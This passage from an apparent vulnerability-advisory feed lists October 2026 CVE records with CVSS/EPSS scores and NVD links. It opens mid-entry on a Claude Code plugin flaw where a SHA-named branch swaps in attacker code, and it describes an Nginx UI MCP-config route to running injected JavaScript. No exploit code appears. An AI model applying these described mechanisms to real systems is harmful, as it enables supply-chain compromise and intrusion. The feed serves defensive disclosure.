Claude Code is an agentic coding tool. Prior to 2.1.179, the Claude Code and Claude Desktop plugin installation flow runs git checkout for a marketplace-pinned commit without verifying that the resulting HEAD equals the pinned 40-character SHA. An attacker who controls a plugin repository on a Git host that permits SHA-shaped branch names can create a branch named after the reviewed commit, causing checkout to select the branch tip and install attacker-controlled plugin code. Exploitation requires a user to install the malicious plugin and pin it to the ostensibly safe hash. This issue is fixed in version 2.1.179.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network.
https://kevwire.com/record/CVE-2026-85891
Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network. (Oct 13, 2026).
Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85891).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85891&date=2026-10-25).
Sources:
NVD CVE-2026-85891: https://nvd.nist.gov/vuln/detail/CVE-2026-85891
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85891&date=2026-10-25
Exposure of sensitive information to an unauthorized actor in Azure HDInsight allows an unauthorized attacker to disclose information over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-85881
Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network.
CVSS 8.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85881).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85881&date=2026-10-25).
Sources:
NVD CVE-2026-85881: https://nvd.nist.gov/vuln/detail/CVE-2026-85881
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85881&date=2026-10-25
Stack-based buffer overflow in Microsoft Graphics Component allows an authorized attacker to elevate privileges over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85858
Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85858).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85858&date=2026-10-25).
Sources:
NVD CVE-2026-85858: https://nvd.nist.gov/vuln/detail/CVE-2026-85858
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85858&date=2026-10-25
Out-of-bounds read in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85855
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85855).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85855&date=2026-10-25).
Sources:
NVD CVE-2026-85855: https://nvd.nist.gov/vuln/detail/CVE-2026-85855
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85855&date=2026-10-25
Use after free in Windows DWM Core Library allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85850
Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85850).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85850&date=2026-10-25).
Sources:
NVD CVE-2026-85850: https://nvd.nist.gov/vuln/detail/CVE-2026-85850
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85850&date=2026-10-25
Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85357
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85357).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85357&date=2026-10-25).
Sources:
NVD CVE-2026-85357: https://nvd.nist.gov/vuln/detail/CVE-2026-85357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85357&date=2026-10-25
Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Phone Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-85321
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85321).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85321&date=2026-10-25).
Sources:
NVD CVE-2026-85321: https://nvd.nist.gov/vuln/detail/CVE-2026-85321
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85321&date=2026-10-25
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-85319
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85319).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85319&date=2026-10-25).
Sources:
NVD CVE-2026-85319: https://nvd.nist.gov/vuln/detail/CVE-2026-85319
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85319&date=2026-10-25
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84319
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.
CVSS 8.3 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84319).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84319&date=2026-10-25).
Sources:
NVD CVE-2026-84319: https://nvd.nist.gov/vuln/detail/CVE-2026-84319
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84319&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the regular HTTP configuration API rejects restricted Nginx directives such as load_module, js_import, and js_content. However, the MCP configuration interface allows a secondary authenticated user to write and apply equivalent restricted configuration content. This allows the user to load ngx_http_js_module.so, import attacker-controlled JavaScript, reload Nginx, and execute NJS in the Nginx worker context. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83903
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83903).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83903&date=2026-10-25).
Sources:
NVD CVE-2026-83903: https://nvd.nist.gov/vuln/detail/CVE-2026-83903
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83903&date=2026-10-25
Heap-based buffer overflow in Windows Direct Composition allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83852
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83852).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83852&date=2026-10-25).
Sources:
NVD CVE-2026-83852: https://nvd.nist.gov/vuln/detail/CVE-2026-83852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83852&date=2026-10-25
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83844
Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83844).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83844&date=2026-10-25).
Sources:
NVD CVE-2026-83844: https://nvd.nist.gov/vuln/detail/CVE-2026-83844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83844&date=2026-10-25
Out-of-bounds read in Windows Paint allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83828
Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83828).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83828&date=2026-10-25).
Sources:
NVD CVE-2026-83828: https://nvd.nist.gov/vuln/detail/CVE-2026-83828
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83828&date=2026-10-25
Heap-based buffer overflow in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83826
Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83826).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83826&date=2026-10-25).
Sources:
NVD CVE-2026-83826: https://nvd.nist.gov/vuln/detail/CVE-2026-83826
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83826&date=2026-10-25
Untrusted pointer dereference in Windows Error Reporting allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83796
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83796).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83796&date=2026-10-25).
Sources:
NVD CVE-2026-83796: https://nvd.nist.gov/vuln/detail/CVE-2026-83796
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83796&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83781
Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83781).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83781&date=2026-10-25).
Sources:
NVD CVE-2026-83781: https://nvd.nist.gov/vuln/detail/CVE-2026-83781
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83781&date=2026-10-25
Improper null termination in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83780
Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83780).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83780&date=2026-10-25).
Sources:
NVD CVE-2026-83780: https://nvd.nist.gov/vuln/detail/CVE-2026-83780
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83780&date=2026-10-25
Use after free in Windows CCFFilter Driver allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network.
https://kevwire.com/record/CVE-2026-83771
Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network. (Oct 13, 2026).
Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83771).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83771&date=2026-10-25).
Sources:
NVD CVE-2026-83771: https://nvd.nist.gov/vuln/detail/CVE-2026-83771
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83771&date=2026-10-25
Use after free in Windows Camera Frame Server Monitor allows an unauthorized attacker to elevate privileges over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83757
Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83757).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83757&date=2026-10-25).
Sources:
NVD CVE-2026-83757: https://nvd.nist.gov/vuln/detail/CVE-2026-83757
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83757&date=2026-10-25
Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83751
Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83751).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83751&date=2026-10-25).
Sources:
NVD CVE-2026-83751: https://nvd.nist.gov/vuln/detail/CVE-2026-83751
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83751&date=2026-10-25
Use after free in Windows MIDI Service Module allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network.
https://kevwire.com/record/CVE-2026-83746
Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network. (Oct 13, 2026).
Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83746).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83746&date=2026-10-25).
Sources:
NVD CVE-2026-83746: https://nvd.nist.gov/vuln/detail/CVE-2026-83746
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83746&date=2026-10-25
Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to elevate privileges over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83735
Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83735).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83735&date=2026-10-25).
Sources:
NVD CVE-2026-83735: https://nvd.nist.gov/vuln/detail/CVE-2026-83735
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83735&date=2026-10-25
Release of invalid pointer or reference in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83721
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83721).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83721&date=2026-10-25).
Sources:
NVD CVE-2026-83721: https://nvd.nist.gov/vuln/detail/CVE-2026-83721
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83721&date=2026-10-25
Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83720
